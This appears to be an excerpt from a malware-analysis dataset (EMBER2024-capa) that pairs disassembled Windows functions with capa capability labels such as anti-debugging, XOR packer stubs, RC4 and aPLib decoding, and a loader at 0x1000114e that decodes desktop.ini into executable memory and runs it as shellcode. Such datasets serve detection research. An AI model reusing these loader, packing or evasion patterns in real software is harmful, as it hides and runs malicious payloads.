joyce8/EMBER2024-capa huggingface dataset:
Function at 0x454870
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x4548a3
push esi
call fcn.00462c30
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x45489c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x454929
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x454912
mov eax, dword [esi + 8]
test eax, eax
je 0x4548c7
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x45490e
cmp eax, 2
je 0x454912
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x4548ba
cmp eax, 3
je 0x4548ed
cmp eax, 1
jne 0x4548ba
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x4548ba
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x4548ba
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.00454950
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x454938
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.00454950
add esp, 4
pop esi
ret

Function at 0x4551d0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x4551f1
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x4551f1
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4551f1
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x471aa0
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x471ae9
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x471f60
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x49ec90
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00471b10
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.00471b90
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.00471b90
lea ecx, [esi + 0xc]
call fcn.004903be
lea ecx, [esi + 0x10]
call fcn.004903be
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.00473120
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.00473120
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.00473120
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.00490433
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.00490433
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x473310
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x473376
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x473376
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x473357
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x4927d7
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x49280f
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0049088e
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00490866
jmp 0x49281b
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x493ed1
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x493f13
call fcn.00499a3c
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x493f13
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x493f0a
xor eax, eax
jmp 0x493f1b
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00493f21
pop edi
pop esi
pop ebx
ret 4

Function at 0x499f6c
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x499f9a
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x499fb8
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00499ed2
jmp 0x499fb8
mov eax, dword [esi + 0x14]
test eax, eax
je 0x499fb8
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00499ed2
test edi, edi
mov eax, edi
jne 0x499fa2
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0xd6a058
Capabilities:
Decompress data using aplib

Disassembly:
call 0xd6a1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xd6a07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xd6a06a
add dl, dl
jne 0xd6a089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xd6a0dc
xor eax, eax
add dl, dl
jne 0xd6a096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xd6a17d
add dl, dl
jne 0xd6a0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd6a0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd6a0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd6a0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xd6a0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xd6a075
mov eax, 1
add dl, dl
jne 0xd6a0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd6a0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xd6a0e1
sub eax, ebx
mov ebx, 1
jne 0xd6a128
mov ecx, 1
add dl, dl
jne 0xd6a10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xd6a119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xd6a105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xd6a075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xd6a13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xd6a14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xd6a136
cmp eax, 0x7d00
jae 0xd6a16d
cmp eax, 0x500
jb 0xd6a168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xd6a075
cmp eax, 0x7f
ja 0xd6a170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xd6a075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xd6a19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xd6a075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x403693
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402571
and dword [ebp - 4], 0
cmp dword [0x40be68], 0
mov ebx, eax
jne 0x403744
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4037f5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4037f5
push eax
call fcn.004024ff
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40be68], eax
call esi
push eax
call fcn.004024ff
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40be6c], eax
call esi
push eax
call fcn.004024ff
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40be70], eax
call esi
push eax
call fcn.004024ff
pop ecx
mov dword [0x40be78], eax
test eax, eax
je 0x403744
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004024ff
pop ecx
mov dword [0x40be74], eax
mov eax, dword [0x40be74]
cmp eax, ebx
je 0x40379c
cmp dword [0x40be78], ebx
je 0x40379c
push eax
call fcn.0040257a
push dword [0x40be78]
mov esi, eax
call fcn.0040257a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40379c
test edi, edi
je 0x40379c
call esi
test eax, eax
je 0x403793
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x403793
test byte [ebp - 0xc], 1
jne 0x40379c
or dword [ebp + 0x10], 0x200000
jmp 0x4037d5
mov eax, dword [0x40be6c]
cmp eax, ebx
je 0x4037d5
push eax
call fcn.0040257a
pop ecx
test eax, eax
je 0x4037d5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4037d5
mov eax, dword [0x40be70]
cmp eax, ebx
je 0x4037d5
push eax
call fcn.0040257a
pop ecx
test eax, eax
je 0x4037d5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40be68]
call fcn.0040257a
pop ecx
test eax, eax
je 0x4037f5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4037f7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x406fa0
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
in al, dx
or al, 0xa1
add al, 0xa0
inc eax
add byte [ebx], dh
lds ecx, [ecx + 0x66afc45]
lea eax, [ebp - 0xc]
push eax
push 0x1004
push dword [ebp + 8]
mov byte [ebp - 6], 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x406fcd
or eax, 0xffffffff
jmp 0x406fd7
lea eax, [ebp - 0xc]
push eax
call fcn.00406f84
pop ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040154d
leave
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x407ef8
nop
mov ecx, 0x4f65131a
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42cd70
mov ecx, 0x34f12519
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e06c
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x402160
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, dword [esp + 0xc]
cmp ebp, 1
push edi
mov edi, ecx
jl 0x40224b
mov eax, dword [esp + 0xc]
push esi
mov esi, dword [esp + 0x18]
push ebp
push eax
push esi
call fcn.0040bbe0
add esp, 0xc
cmp ebp, 1
jne 0x4021aa
movzx ecx, byte [esi]
movzx edx, byte [edi + 0x20020]
add ecx, 0x100
shl ecx, 8
add ecx, edi
mov al, byte [edx + ecx]
mov byte [esi], al
pop esi
pop edi
pop ebp
ret 0xc
lea ecx, [ebp - 1]
xor eax, eax
test ecx, ecx
jle 0x4021e0
push ebx
jmp 0x4021c0
movzx edx, byte [eax + esi]
movzx ebx, byte [eax + esi + 1]
add edx, 0x100
shl edx, 8
add edx, edi
mov dl, byte [ebx + edx]
mov byte [eax + esi], dl
inc eax
cmp eax, ecx
jl 0x4021c0
pop ebx
movzx eax, byte [edi + 0x20020]
movzx edx, byte [esi + ebp - 1]
xor eax, 0x55
add edx, 0x100
add eax, edi
shl edx, 8
mov al, byte [edx + eax]
mov byte [esi + ebp - 1], al
mov eax, ecx
cmp eax, 1
jl 0x402230
jmp 0x402210
movzx edx, byte [eax + esi]
movzx ecx, byte [eax + esi - 1]
add edx, 0x100
shl edx, 8
add ecx, edi
mov cl, byte [edx + ecx]
mov byte [eax + esi], cl
dec eax
cmp eax, 1
jge 0x402210
movzx edx, byte [esi]
movzx eax, byte [edi + 0x20020]
add edx, 0x100
shl edx, 8
add edx, edi
mov cl, byte [eax + edx]
mov byte [esi], cl
pop esi
pop edi
pop ebp
ret 0xc
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp loc.00401219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x401110
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov edx, dword [esp + 4]
mov ecx, dword [esp + 8]
cmp cl, 1
mov al, byte [edx]
jbe 0x401131
and ecx, 0xff
inc edx
push ebx
dec ecx
mov bl, byte [edx]
xor al, bl
inc edx
dec ecx
jne 0x401128
pop ebx
ret

Function at 0x4017a0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x18
push ebx
xor eax, eax
push esi
mov esi, ecx
mov dword [esp + 0x10], eax
push edi
mov dword [esp + 0x18], eax
lea ebx, [esi + 0x10]
xor edi, edi
mov dword [esp + 0x1c], eax
push ebx
mov dword [esp + 0x14], edi
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [esp + 0x2c]
lea ecx, [esp + 0x10]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 0x2c]
push edx
mov edx, dword [esi + 4]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x401813
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x401818
mov edx, dword [esi + 4]
lea eax, [esp + 0xc]
push 1
lea ecx, [esp + 0x14]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x401818
mov edi, 1
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [esi + 4]
push 4
push eax
call dword [sym.imp.KERNEL32.dll_PurgeComm]
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 0x18
ret 8

Function at 0x4017a6
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x18
push ebx
xor eax, eax
push esi
mov esi, ecx
mov dword [esp + 0x10], eax
push edi
mov dword [esp + 0x18], eax
lea ebx, [esi + 0x10]
xor edi, edi
mov dword [esp + 0x1c], eax
push ebx
mov dword [esp + 0x14], edi
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [esp + 0x2c]
lea ecx, [esp + 0x10]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 0x2c]
push edx
mov edx, dword [esi + 4]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x401813
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x401818
mov edx, dword [esi + 4]
lea eax, [esp + 0xc]
push 1
lea ecx, [esp + 0x14]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x401818
mov edi, 1
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [esi + 4]
push 4
push eax
call dword [sym.imp.KERNEL32.dll_PurgeComm]
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 0x18
ret 8
Function at 0x401845
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
mov esi, ecx
xor ecx, ecx
push edi
mov dword [esp + 0x1c], ecx
lea ebp, [esi + 0x10]
mov dword [esp + 0x20], ecx
xor eax, eax
mov dword [esp + 0x24], ecx
push ebp
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [esp + 0x30]
push edi
call sub.MFC42.DLL_operatornew
mov ecx, dword [esi + 4]
add esp, 4
mov ebx, eax
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
push eax
push edi
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4018c3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x4018f3
mov ecx, dword [esi + 4]
lea edx, [esp + 0x10]
push 1
lea eax, [esp + 0x1c]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x4018f3
mov eax, dword [esp + 0x10]
xor edi, edi
test eax, eax
mov dword [esp + 0x14], 1
mov esi, ebx
jbe 0x4018f3
mov dl, byte [esi]
push edx
call fcn.00401910
mov ecx, dword [esp + 0x14]
add esp, 4
inc esi
inc edi
mov eax, edi
and eax, 0xffff
cmp eax, ecx
jb 0x4018d7
push ebp
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret 4
Function at 0x100011c5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x1003bb04]
sub esp, 0x28
mov ecx, str.RemoveDeviceIdentity_called
push ebx
xor ebx, ebx
lea ecx, [ecx + 2]
or eax, 0x45df7be3
cmp word [ecx], bx
jne 0x100011d8
imul ecx, eax, 0x4804350a
push esi
mov esi, ebx
imul edx, ecx, 0xf3b9a2aa
xor ecx, 0x877f0351
inc esi
cmp byte [esi + str.._AVNotificationCenterListener_avastui_asw__], bl
jne 0x100011f4
lea eax, [ecx - 0x740afb9b]
add ecx, 0x634dce33
cmp esi, 0x114
mov esi, str.Chrome:_launched
push edi
lea edi, [ebp - 0x18]
cmovne ecx, eax
mov dword [ebp - 4], ecx
mov eax, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp byte [ebp - 0x18], 0x63
jne 0x1000126f
mov cl, 0x63
test cl, cl
je 0x1000124a
cmp byte [ebp + eax - 0x18], bl
je 0x1000124a
mov cl, byte [eax + 0x1002c6d1]
inc eax
cmp cl, byte [ebp + eax - 0x18]
je 0x10001233
mov ecx, dword [ebp - 4]
cmp ecx, eax
jae 0x1000126f
mov esi, dword [ebp - 4]
cmp ecx, 0x1cb0
jne 0x10001262
lea esi, [edx + 0x65fb9305]
mov edx, esi
xor edx, 0xd7250d05
inc ecx
cmp ecx, eax
jb 0x10001254
push 6
pop ecx
mov esi, str.lp.gezrbolok
lea edi, [ebp - 0x20]
rep movsd dword es:[edi], dword [esi]
push 0x20
mov eax, ebx
movsw word es:[edi], word [esi]
pop esi
cmp si, word [ebp - 0x20]
jne 0x100012a9
mov ecx, ebx
test si, si
je 0x100012a9
cmp word [ebp + ecx - 0x20], bx
je 0x100012a9
inc eax
lea ecx, [eax + eax]
movzx esi, word [ecx + str._SubscriptionId]
cmp si, word [ebp + ecx - 0x20]
je 0x1000128b
movzx ecx, byte [eax*2 + str._SubscriptionId]
movzx eax, byte [ebp + eax*2 - 0x20]
sub ecx, eax
cmp ecx, 0xb9c
jne 0x100012c6
or edx, 0x2a55ecbd
mov eax, ebx
add edx, 0x11385e2c
inc eax
cmp word [eax*2 + str.IIIIIIIIIIIA], bx
jne 0x100012c8
mov ecx, edx
cmp dword [ebp - 4], eax
jae 0x100012f0
sub eax, dword [ebp - 4]
imul edx, edx, 0x85633020
sub eax, 1
jne 0x100012e3
mov ecx, edx
mov eax, ebx
lea ecx, [ecx - 0x683a4eb4]
inc eax
cmp byte [eax + str.rb.apirolf], bl
jne 0x100012f8
cmp dword [ebp - 4], eax
jae 0x1000130c
lea edx, [ecx - 0x75371b64]
push 8
pop ecx
mov esi, str.pj.abihc.usayaru
lea edi, [ebp - 0x28]
rep movsd dword es:[edi], dword [esi]
push 0x69
lea eax, [edx - 0x1e708eb7]
mov dword [ebp - 4], eax
movsw word es:[edi], word [esi]
pop esi
pop edi
cmp si, word [ebp - 0x28]
jne 0x1000135c
mov eax, ebx
mov ecx, ebx
test si, si
je 0x10001350
cmp word [ebp + eax - 0x28], bx
je 0x10001350
inc ecx
lea eax, [ecx + ecx]
movzx esi, word [eax + str.ideographichighcircle]
cmp si, word [ebp + eax - 0x28]
je 0x10001332
cmp dword [ebp - 4], ecx
jae 0x1000135c
imul edx, dword [ebp - 4], 0x95adb325
pop esi
add edx, 0x3c6bc077
inc ebx
cmp byte [ebx + str.Rpc_JsonRequestToUI_function_is_called_with_invalid_arguments], 0
jne 0x1000135d
cmp ebx, 0x2417
pop ebx
jne 0x1000137e
imul eax, edx, 0x72e200af
jmp 0x10001384
lea eax, [edx + 0x44bae0f]
mov dword [0x1003bb50], eax
add eax, 0xc91bf4a4
mov dword [0x1003bb04], eax
leave
ret
Function at 0x10003c5a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
mov eax, ecx
mov edx, dword [0x1003bbc0]
xor ecx, ecx
mov dword [ebp - 4], eax
mov ebx, ecx
lea edi, [ebp - 0x30]
push 0xa
movzx eax, word [eax]
mov esi, str.pj.odiakkoh.natokahs
pop ecx
rep movsd dword es:[edi], dword [esi]
sub edx, 0x4907f394
movsw word es:[edi], word [esi]
mov esi, dword [ebp - 4]
xor edi, edi
cmp ax, word [ebp - 0x30]
jne 0x10003cb4
mov ecx, eax
mov eax, edi
test cx, cx
je 0x10003cb4
cmp word [ebp + eax - 0x30], di
je 0x10003cb4
inc ebx
lea eax, [ebx + ebx]
movzx ecx, word [eax + esi]
cmp cx, word [ebp + eax - 0x30]
je 0x10003c99
movzx ecx, byte [esi + ebx*2]
movzx eax, byte [ebp + ebx*2 - 0x30]
sub ecx, eax
cmp ecx, 0x58e
jne 0x10003ccf
xor edx, 0x3e8a671b
jmp 0x10003cdb
mov edx, dword [0x1003bc64]
or edx, 0xddb0fd44
mov ebx, edi
mov esi, str.sha256WithRSAEncryption
push 0xc
pop ecx
lea edi, [ebp - 0x34]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 4]
xor edi, edi
movzx eax, word [esi]
cmp ax, word [ebp - 0x34]
jne 0x10003d17
mov ecx, eax
mov eax, edi
test cx, cx
je 0x10003d17
cmp word [ebp + eax - 0x34], di
je 0x10003d17
inc ebx
lea eax, [ebx + ebx]
movzx ecx, word [eax + esi]
cmp cx, word [ebp + eax - 0x34]
je 0x10003cfc
movzx ecx, byte [esi + ebx*2]
movzx eax, byte [ebp + ebx*2 - 0x34]
sub ecx, eax
cmp ecx, 0x539
jne 0x10003d38
lea ebx, [edx + 0xa40f72c]
mov dword [0x1003bc58], ebx
jmp 0x10003d4a
mov edx, dword [0x1003bc64]
mov ebx, dword [0x1003bc58]
xor edx, 0x4d5e7820
mov eax, str..P8CAirbondLogin_detail_pam_asw__EAAXAEBVValue_Json__AEAV45_1_Z
xor edx, 0x1f2d97f8
inc eax
cmp byte [eax], 0
jne 0x10003d4f
mov eax, edi
mov esi, str.missed_call_withFileDestination
push 8
pop ecx
lea edi, [ebp - 0x24]
rep movsd dword es:[edi], dword [esi]
cmp byte [ebp - 0x24], 0x61
jne 0x10003d8a
mov cl, 0x61
test cl, cl
je 0x10003d8a
cmp byte [ebp + eax - 0x24], 0
je 0x10003d8a
mov cl, byte [eax + 0x1002e80d]
inc eax
cmp cl, byte [ebp + eax - 0x24]
je 0x10003d72
movzx ecx, byte [eax + str.aswDldInit]
movzx eax, byte [ebp + eax - 0x24]
sub ecx, eax
cmp ecx, 0x1c8
jae 0x10003db2
mov ebx, dword [0x1003bc64]
or ebx, 0xf9d950c6
mov dword [0x1003bc58], ebx
push 6
pop ecx
mov esi, str.t1libControl
lea edi, [ebp - 0x20]
rep movsd dword es:[edi], dword [esi]
push 0x43
pop edx
xor eax, eax
movsw word es:[edi], word [esi]
cmp dx, word [ebp - 0x20]
jne 0x10003dee
xor esi, esi
mov ecx, esi
test dx, dx
je 0x10003dee
cmp word [ebp + ecx - 0x20], si
je 0x10003dee
inc eax
lea ecx, [eax + eax]
movzx edx, word [ecx + str.CompleteAuthToken_failed:__s]
cmp dx, word [ebp + ecx - 0x20]
je 0x10003dd0
movzx ecx, byte [eax*2 + str.CompleteAuthToken_failed:__s]
movzx eax, byte [ebp + eax*2 - 0x20]
sub ecx, eax
mov eax, ebx
cmp ecx, 0x199f
jne 0x10003e0e
and eax, 0x3cb24c2d
jmp 0x10003e13
and eax, 0x2d874648
pop edi
lea ecx, [ebx + 0x46ba9d92]
mov dword [0x1003bc64], eax
pop esi
mov dword [0x1003bbc0], ecx
pop ebx
leave
ret